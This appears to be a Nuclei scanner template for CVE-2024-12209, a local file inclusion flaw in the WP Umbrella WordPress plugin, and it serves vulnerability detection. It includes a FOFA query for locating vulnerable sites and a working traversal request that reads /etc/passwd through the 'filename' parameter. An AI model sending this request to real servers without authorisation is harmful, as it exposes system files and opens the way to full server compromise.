id: CVE-2024-12209 info: name: WP Umbrella Update Backup Restore & Monitoring <= 2.17.0 - Local File Inclusion author: s4e-io severity: critical description: | The WP Umbrella: Update Backup Restore & Monitoring plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.17.0 via the 'filename' parameter of the 'umbrella-restore' action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included. impact: | Unauthenticated attackers can exploit local file inclusion through the filename parameter in the umbrella-restore action to read arbitrary server files including /etc/passwd, execute PHP code, and gain complete server compromise. remediation: | Validate and sanitize user inputs to prevent directory traversal. Use a whitelist approach for file paths and restrict file access to intended directories only. reference: - https://github.com/RandomRobbieBF/CVE-2024-12209 - https://plugins.trac.wordpress.org/browser/wp-health/tags/v2.16.4/src/Actions/RestoreRouter.php#L45 - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3202883%40wp-health&new=3202883%40wp-health&sfp_email=&sfph_mail= - https://www.wordfence.com/threat-intel/vulnerabilities/id/c74ce3e8-cab9-4cc6-a1ad-1e51f7268474?source=cve classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-12209 cwe-id: CWE-98 epss-score: 0.89849 epss-percentile: 0.99592 metadata: verified: true max-request: 1 vendor: wp-umbrella product: wp-umbrella framework: wordpress fofa-query: body="/wp-content/plugins/wp-health" tags: cve,cve2024,wp,wordpress,wp-plugin,wp-health,lfi,vkev,vuln flow: http(1) && http(2) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} matchers: - type: word part: body words: - '/wp-content/plugins/wp-health' internal: true - raw: - | GET /?umbrella-restore=1&filename=../../../../../../etc/passwd HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - "regex('root:.*:0:0:', body)" - "contains(content_type, 'text/html')" - "status_code == 200" condition: and # digest: 4a0a00473045022036e52175677a98e2ca2d27e6bf5c20b0ec5d60b8d2b5a75478097fefd57bdf85022100c5b6bd33e65ada911c871d7eecae5ecfcce15e053fb132a75b57eb6f1d608c91:922c64590222798bb761d5b6d8e72950